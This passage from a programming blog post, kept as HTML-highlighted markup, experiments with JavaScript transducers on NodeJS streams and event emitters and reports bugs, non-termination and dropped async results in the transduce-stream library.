&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lineStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fileChunks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;TransduceStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;lineStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Line:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;lineStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Done&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Line: I am the first line!&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Line: ..and I am the second!&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Line:  ... third!!&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Done&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So that’s quite a bit longer, but it’s actually &lt;em&gt;not too bad&lt;/em&gt;, considering the alternative (implementing this directly as a NodeJS stream transformation). Plus, you could use the same transducer on arrays / event emitters which for some reason spit out chunks instead of lines.&lt;/p&gt;

&lt;p&gt;One thing that complicates this is that we have to take care to handle “early return” values, which are named “reduced” values. I’m not sold on the name (perhaps “terminator” would be better), but it forces us to check for them in various places since our transducer doesn’t just have a one-to-one (or one-to-zero) mapping between input and output items.&lt;/p&gt;

&lt;p&gt;Also, I couldn’t find a good way to tell the stream machinery to leave my strings alone - I kept receiving them (in both the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;step&lt;/code&gt; function and the output &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; items) as Buffer objects. Maybe I missed it in the API, or maybe it just needs to be added. It’s not a big deal, but it feels hacky and unnecessary.&lt;/p&gt;

&lt;p&gt;I originally thought this was one transformation that &lt;em&gt;couldn’t&lt;/em&gt; be expressed as a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce&lt;/code&gt; in StratifiedJS, because you need to keep track of two accumulators - the lines so far, as well as the current (partial) line buffer, But I realised you actually can, if you simply treat the “last line” as the buffer. This does mean you can’t omit the blank line at the end if your file ends with a newline. It also feels a little hacky to mutate the result during each step, but it &lt;em&gt;is&lt;/em&gt; pleasantly concise:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fileChunks&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;reduce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;example-4&quot;&gt;Example 4: event streams&lt;/h3&gt;

&lt;p&gt;The last thing I thought I’d try was an event stream, because those can also be useful to process as a sequence (but unlike streams, you can’t tell your emitter to slow down - you just have to deal with events as they happen).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;compose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;delay&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;defer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;take&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;EventEmitter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;receiver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;EventEmitter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;emitInto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;receiver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// kick off an infinite set of `source` events&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;spawn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;emit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;spawn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}();&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;spawn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;receiver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Data:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;receiver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Done&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;timeout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;clearTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Data: 1&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Data: 2&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Data: 3&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Data: 4&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Data: 5&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ( ... program never terminates)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;This one is a complete failure&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Note that I explicitly added code to deal with shutting down the emitter, which the documentation implied I would see after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;take(5)&lt;/code&gt; had caused the transducer to finish prematurely. But it never stopped, nor was the underlying listener removed from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source&lt;/code&gt; - if I insert a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.log&lt;/code&gt; you can see that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; step still gets called forever with new values, but its results just get ignored. And given that I never actually see an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;end&lt;/code&gt; event, it’s actually impossible to see when my transducer has “finished”. If anyone knows how to do this right, I’d be interested to know it.&lt;/p&gt;

&lt;h3 id=&quot;extra-credit&quot;&gt;Extra credit: streams &amp;amp; async processing&lt;/h3&gt;

&lt;p&gt;Even though streams are inherently asynchronous, I could find no way to properly apply an asynchronous transducer to my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Lines&lt;/code&gt; stream. I tried, with:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;compose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;delay&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;defer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;… but as soon as the lines were all done being emitted, the output stream saw &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;end()&lt;/code&gt; - any promises which had not resolved were simply dropped. That’s very bad, especially since whether or not it “works” is based on the speed of your input stream, so it could appear to work 95% of the time but silently do the wrong thing when your system is under load.&lt;/p&gt;

&lt;p&gt;I don’t count this (or the previous example) as an inherent ding against transducers, though - it seems like this is probably just a bug in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;transduce-stream&lt;/code&gt; library.&lt;/p&gt;

&lt;h1 id=&quot;closing-thoughts&quot;&gt;Closing thoughts&lt;/h1&gt;

&lt;p&gt;If you haven’t read the &lt;a href=&quot;#tldr&quot;&gt;tl;dr&lt;/a&gt; above, that summarises my thoughts pretty well. But it’s worth reiterating that &lt;strong&gt;using transducers in JavaScript is failure-prone and hard to figure out&lt;/strong&gt;&lt;sup id=&quot;fnref:prone&quot;&gt;&lt;a href=&quot;#fn:prone&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;It’s really easy to abort your program with no indication of why - accidentally returning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;undefined&lt;/code&gt; from a function can short-circuit something, and instead of an error your program just halts prematurely. Not really a problem with transducers, but something to be aware of when using them in JavaScript. This is pretty much an occupational hazard with JavaScript though - a stray callback can silently ruin everything. I think I’ve been spoiled by using StratifiedJS for so long ;)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Also (probably the cause of some of the above), unhandled exceptions in my code would not get printed, the process would just exit silently. This is a terrible developer experience, but I don’t actually know which library is to blame. This is also just something that happens when you’re programming in JavaScript, sadly.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;more-examples&quot;&gt;Appendix a: More examples&lt;/h1&gt;

&lt;p&gt;Feeling like I now grokked transducers, I figured I’d explore some more of their particular features. A lot of fuss is made of their ability to apply transformations to all sorts of collections, not just arrays. So let’s see how that looks, shall we?&lt;/p&gt;

&lt;h4 id=&quot;mapping-the-values-of-an-object&quot;&gt;“Mapping” the values of an object&lt;/h4&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mapVal&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])];&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;key1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val1&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;key2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val2&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
